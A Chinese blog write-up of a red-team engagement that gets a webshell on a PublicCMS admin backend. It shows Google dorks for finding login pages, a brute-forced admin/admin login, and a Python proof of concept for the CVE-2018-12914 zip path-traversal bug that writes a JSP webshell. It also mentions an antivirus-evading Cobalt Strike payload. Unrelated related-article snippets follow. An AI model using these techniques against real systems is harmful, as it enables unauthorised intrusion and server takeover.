某次护网红队getshell的经历

信息收集

某企业提供信息:企业官网的真实外网ip,内网ip

企业官网比较硬,从控股超过51%的子公司入手

通过企查查找到一堆控股高的子公司,通过ICP/IP地址/域名信息备案管理系统查找子公司官网,收集二级域名。通过googlehacking查找登录页面,发现一个管理后台登录页面

site:target.com intext:管理 | 后台 | 后台管理 | 登陆 | 登录 | 用户名 | 密码 | 系统 | 账号 | login | system
site:target.com inurl:login | inurl:admin | inurl:manage | inurl:manager | inurl:admin_login | inurl:system | inurl:backend
site:target.com intitle:管理 | 后台 | 后台管理 | 登陆 | 登录

登录页面没有任何验证码,bp进行弱密码爆破

admin/admin

登录后台发现是一个publiccms,可以查看web下的静态文件和执行sql,查找框架相关漏洞

根据数据目录可以知道上传的文件目录不在web目录下,所以直接上传jsp木马无效

在这里插入图片描述

CVE-2018-12914

漏洞编号:CVE-2018-12914

漏洞危害:用户通过在压缩文件中构造包含有特定文件名称的压缩文件时,在进行解压时,会导致跨目录任意写入文件漏洞的攻击。

影响版本:PublicCMS V4.0.20180210

漏洞加固:更新到最新版本 。对比补丁,发现在获取压缩文件中的文件名字时,如果其中含有”…”时则被替换为空。

漏洞原因

controller目录下\admin\cms\CmsWebFileAdminController.java代码里的uzip调用方式上出现了漏洞,该系统采用的是dounzip的方式去调用,dounzip是解压缩常用到的,导致我们可以构造特殊的文件名,来将我们的脚本木马上传到网站任意目录下。

该代码通过获取targetPath的上传路径值与压缩文件里的名字进行自动拼接,在拼接的这个过程当中,…/ 可以对目录进行跨站。网站漏洞产生最根本的原因就是在处理这个压缩文件的时候并没有对压缩里的文件名进行判断与过滤,导致可以使用特殊的文件名进行定义,并传入到服务器后端执行代码,通过上传JSP木马后门,可以直接对服务器进行控制,危害性较高。

getshell

poc

import zipfileif __name__ == "__main__":try:binary = 'coelak'     //木马内容zipFile = zipfile.ZipFile("test.zip", "a", zipfile.ZIP_DEFLATED)info = zipfile.ZipInfo("test.zip")zipFile.writestr("../../../../../../cmd.jsp", binary)zipFile.close()except IOError as e:raise e

构造一个zip压缩文件,里面的文件名为

../../../../../../../../工作站目录/webapps/publiccms/cccaaacoleak.jsp

上传该zip文件,上传和解压,cccaaacoleak.jsp会写入在publiccms目录下。成功getshell,连接冰蝎

然后上传免杀cs马,进行内网渗透了。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/63127.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

ESP-C3入门22. 基于VSCODE使用内置JTAG调试程序

ESP-C3入门22. 基于VSCODE使用内置JTAG调试程序 一、简介1. 内置 jtag 介绍2. OpenOCD3. 准备工作 二、操作步骤1. 接线2. 在VSCode设置端口等信息3. 测试编译烧录 三、调试程序 一、简介 1. 内置 jtag 介绍 在ESP32中,内置了一个用于JTAG调试的特殊程序&#xff…

typescript的~~和双感叹号符号使用

(标题不给用“!”) "~~"符号使用 1.对于number类型的值,~~是取整作用 const num: number 3.14; const roundedNum: number ~~num; // 3 2.对于boolean类型的值,~ ~ true还是true,false还是false “!!”…

【C++】 C++11(右值引用,移动语义,bind,包装器,lambda,线程库)

文章目录 1. C11简介2. 统一的列表初始化2.1 {}初始化2.2 std::initializer_list 3. 声明3.1 auto3.2 decltype3.3 auto与decltype区别3.4 nullptr 4. 右值引用和移动语义4.1 左值引用和右值引用4.2 左值引用与右值引用比较4.3 右值引用使用场景和意义4.…

云原生Kubernetes:二进制部署K8S多Master架构(三)

目录 一、理论 1.K8S多Master架构 2.配置master02 3.master02 节点部署 4.负载均衡部署 二、实验 1.环境 2.配置master02 3.master02 节点部署 4.负载均衡部署 三、总结 一、理论 1.K8S多Master架构 (1) 架构 2.配置master02 (1)环境 关闭防…

『SpringBoot 源码分析』run() 方法执行流程:(2)刷新应用上下文-准备阶段

『SpringBoot 源码分析』run() 方法执行流程:(2)刷新应用上下文-准备阶段 基于 2.2.9.RELEASE问题:当方法进行了注释标记之后,springboot 又是怎么注入到容器中并创建类呢? 首先创建测试主程序 package …

react-grid-layout 实现原理介绍

简介 React-grid-layout 是一个基于 React 的网格布局库,它可以帮助我们轻松地在网格中管理和排列组件。它提供了一个直观的 API,可以通过配置网格的大小、列数和组件的位置来实现复杂的布局,还支持对网格中组件的拖拽和重新排列。 实现 诉…

axios模拟表单提交

axios默认是application/json方式提交,controller接收的时候必须以RequestBody的方式接收,有时候不太方便。如果axios以application/x-www-form-urlencoded方式提交数据,controller接收的时候只要保证名字应对类型正确即可。 前端代码&#…

PMP项目管理主要学习内容是什么?

PMP项目管理是指根据美国项目管理学会(Project Management Institute,简称PMI)制定的项目管理知识体系和方法论进行项目管理的一种认证。PMP主要关注项目的规划、执行和控制等方面的知识和技能。 下面是PMP项目管理《PMBOK指南》第六版的主要学习内容: …

Matlab图像处理-灰度分段线性变换

灰度分段线性变换 如数学涵义的分段一般,分段线性变换就是将图像不同的灰度范围进行不同的线性灰度处理。其表达式可表示如下: 灰度分段线性变换可根据需求突出增强目标区域,而不增强非目标区间,达到特定的显示效果。 示例程序 …

通讯录(C语言)

通讯录 一、基本思路及功能介绍二、功能实现1.基础菜单的实现2.添加联系人信息功能实现3.显示联系人信息功能实现4.删除联系人信息功能实现5.查找联系人信息功能实现6.修改联系人信息功能实现7.排序联系人信息功能实现8.加载和保存联系人信息功能实现 三、源文件展示1.test.c2.…

YOKOGAWA CP461-50处理器模块

数据处理能力: CP461-50 处理器模块具有强大的数据处理能力,用于执行各种控制和数据处理任务。 多通道支持: 该模块通常支持多通道输入和输出,允许与多个传感器和执行器进行通信。 通信接口: CP461-50 处理器模块通常…

每日一题(复制带随机指针的链表)

每日一题(复制带随机指针的链表) 138. 复制带随机指针的链表 - 力扣(LeetCode) 思路: 由于每个链表还包含了一个random节点指向了链表中的随机节点,所以并不能直接照搬复制原链表。首先想到的暴力思路是复…

Redis的介绍

Redis的架构介绍如下: 1. 概述 Redis是一个基于内存的高性能NoSQL键值数据库,支持网络访问和持久化特性。 2. 功能架构 Redis提供字符串、哈希、列表、集合、有序集合、位数组等多种数据结构,支持事务、Lua脚本、发布订阅、流水线等功能。 3. 技术架构 Redis使用单线程的…

oracle批量导出字段注释,并且相同字段注释为空的情况取有数据的第一行赋值

SELECT ‘comment on column ‘|| t.table_name||’.’||t.colUMN_NAME||’ is ’ || ‘’‘’ || (CASE WHEN T1.COMMENTS IS NULL THEN (SELECT T2.COMMENTS FROM User_Col_Comments T2 WHERE T1.colUMN_NAMET2.colUMN_NAME AND T2.COMMENTS IS NOT NULL and rownum1) ELSE N…

字节后端社招凉经

一面 1.聊项目。项目方案,技术 2.代码:K个一组翻转链表 3.GC如何排查及解决GC 4.说一下linux命令 grep用法,端口号查询 5.mybatis 注入 6.sql优化 二面 1.聊项目,项目方案,项目技术 2.代码:输入N,输出0-…

嵌入式学习笔记(1)ARM的编程模式和7种工作模式

ARM提供的指令集 ARM态-ARM指令集(32-bit) Thumb态-Thumb指令集(16-bit) Thumb2态-Thumb2指令集(16 & 32 bit) Thumb指令集是对ARM指令集的一个子集重新编码得到的,指令长度为16位。通常在…

Thymeleaf

这就是自动装配的原理 1) .SpringBoot启动会加载大量的自动配置类 2)、我们看我们需要的功能有没有在SpringBoot默认写好的自动配置类当中; 3)、我们再来看这个自动配置类中到底配置了哪些组件;(只要我们要用的组件存在在其中,我们就不需要再手动配置了) 4)、给容器…

【Linux】linux nfs共享存储服务

linux nfs共享存储服务 目录 一、nfs服务 二、nfs优点 三、配置文件 四、共享文件配置过程 五、实验 1.创建共享文件(两台终端共享) 一、nfs服务 概念:网络上共享文件系统的协议,运行多个服务器之间通过网络共享文件和目…

【C++】内联函数 ( 概念简介 )

文章目录 一、内联行数简介1、内联函数引入 一、内联行数简介 1、内联函数引入 在 C 中 , 定义常量 const int a 10可以替换 C 语言中的 宏定义 #define a 10使用 常量 可以 替代 宏定义 ; 宏定义分为两种 , 一种是 宏常数 , 另外一种是 宏代码片段 ; C 中使用 常量 替代 宏…

渣土车识别监测 渣土车未盖篷布识别抓拍算法

渣土车识别监测 渣土车未盖篷布识别抓拍算法通过yolov7深度学习训练模型框架,渣土车识别监测 渣土车未盖篷布识别抓拍算法在指定区域内实时监测渣土车的进出状况以及对渣土车未盖篷布违规的抓拍和预警。YOLOv7 的策略是使用组卷积来扩展计算块的通道和基数。研究者将…